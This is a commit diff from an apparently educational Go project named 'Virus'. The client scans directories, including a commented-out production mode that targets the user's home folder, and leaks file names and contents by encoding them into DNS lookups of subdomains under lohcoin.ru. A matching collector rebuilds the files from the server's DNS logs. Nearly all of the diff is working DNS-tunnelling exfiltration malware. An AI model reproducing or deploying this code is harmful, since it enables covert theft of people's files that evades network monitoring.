Final version. It works. I checked

client/FilesCollector/Collector/collector.go

@@ -24,11 +24,12 @@ func Collect(input string) {
 	for file := range Scanner.Files {
 		scanner := bufio.NewScanner(inf)
 		for scanner.Scan() {
-			var id, payload string
+			var payload string
 			var offset int64
+			var id uint64
 			data := scanner.Text()
 			data = data[20: len(data) - Params.UrlLen]
-			fmt.Sscanf(data, "%56s.%019x.%s", &id, &offset, &payload);
+			fmt.Sscanf(data, "%016x.%016x.%s", &id, &offset, &payload);
 			// It's not new file
 			if file.Id == id && offset != 0 {
 				payload = strings.Replace(payload, ".", "", -1)

client/FilesCollector/Scanner/scanner.go

@@ -11,7 +11,7 @@ import (
 )
 
 type File struct {
-	Id string
+	Id uint64
 	Ptr *os.File
 }
 
@@ -20,11 +20,12 @@ var Files = make(chan File)
 func Scan(path *os.File) {
 	scanner := bufio.NewScanner(path)
 	for scanner.Scan() {
-		var id, payload string
+		var payload string
+		var id uint64
 		var offset int64
 		data := scanner.Text()
 		data = data[20 : len(data) - Params.UrlLen]
-		_, err := fmt.Sscanf(data,"%16s.%019x.%s", &id, &offset, &payload);
+		_, err := fmt.Sscanf(data,"%016x.%016x.%s", &id, &offset, &payload);
 		if err != nil {
 			continue
 		}
@@ -34,7 +35,7 @@ func Scan(path *os.File) {
 			filename, _ := hex.DecodeString(params[0])
 			sizeStr, _ := hex.DecodeString(params[1])
 			size, _ := strconv.ParseInt(string(sizeStr), 10, 64)
-			filePtr, _ := os.Create(fmt.Sprintf("%s_%s", id, filename))
+			filePtr, _ := os.Create(fmt.Sprintf("%x_%s", id, filename))
 			filePtr.Truncate(size)
 			Files <- File{id, filePtr}
 		}

client/Params/constants.go

@@ -2,8 +2,7 @@ package Params
 
 const URL = "lohcoin.ru"
 const UrlLen = len(URL) + 2
-const BufSize = 80
+const BufSize = 102
 const MaxSubdomainLength = 63
-const PreferGoResolver = true
 // b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e20537563682063686172616374.yandex.ru
 // b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e205375636820636861726163.yandex.ru

client/Virus/Resolver/resolver.go

@@ -11,11 +11,9 @@ import (
 	"InfoSec/Virus/Scanner"
 	"strconv"
 	"InfoSec/Params"
-	"context"
 	"hash/crc64"
 )
 
-
 // WG is wait group to synchronize the pool and the main routine
 var Wg sync.WaitGroup
 var ecmaTable = crc64.MakeTable(crc64.ECMA)
@@ -50,6 +48,7 @@ func SendFile(path string) error {
 	filename = hex.EncodeToString([]byte(filename))
 	size = hex.EncodeToString([]byte(size))
 	filename = fmt.Sprintf("%s.%s", filename, size)
+
 	resolve(filename, prefix, 0)
 
 	for i := int64(1);; {
@@ -67,13 +66,9 @@ func SendFile(path string) error {
 
 // resolve: forms host and resolves it
 func resolve(content string, prefix uint64, offset int64) {
-	Resolver := &net.Resolver{
-		PreferGo: Params.PreferGoResolver,
-		StrictErrors: true,
-	}
-	host := fmt.Sprintf("%016x.%019x.%s.%s", prefix, offset, content, Params.URL)
-	fmt.Printf("2017-11-12 14:22:41 %s.\n", host)
-	_, err := Resolver.LookupHost(context.Background(), host)
+	host := fmt.Sprintf("%016x.%016x.%s.%s", prefix, offset, content, Params.URL)
+	//fmt.Printf("2017-11-12 14:22:41 %s.\n", host)
+	_, err := net.LookupHost(host)
 	if err != nil {
 		log.Println(err)
 	}

client/Virus/main.go

@@ -3,10 +3,9 @@ package main
 // Put client to $GOPATH/InfoSec
 
 import (
-	"fmt"
-	"runtime"
 	"InfoSec/Virus/Resolver"
 	"InfoSec/Virus/Scanner"
+	"runtime"
 	"os"
 )
 
@@ -16,6 +15,16 @@ func main() {
 	for i := 0; i < concurrency; i++ {
 		go Resolver.Scan()
 	}
+	/************** Production **************/
+	/*
+	usr, err := user.Current()
+	if err != nil {
+		log.Fatalf("%s:", "current user problem")
+	}
+	home := usr.HomeDir
+	Scanner.ScanDirectory(home)
+	*/
+	/************* Test project *************/
 	switch runtime.GOOS {
 	case "linux":
 		Scanner.ScanDirectory("/home/oleg/Рабочий стол/test")
@@ -24,5 +33,6 @@ func main() {
 	default:
 		Scanner.ScanDirectory("/")
 	}
+	/****************************************/
 	Resolver.Wg.Wait()
 }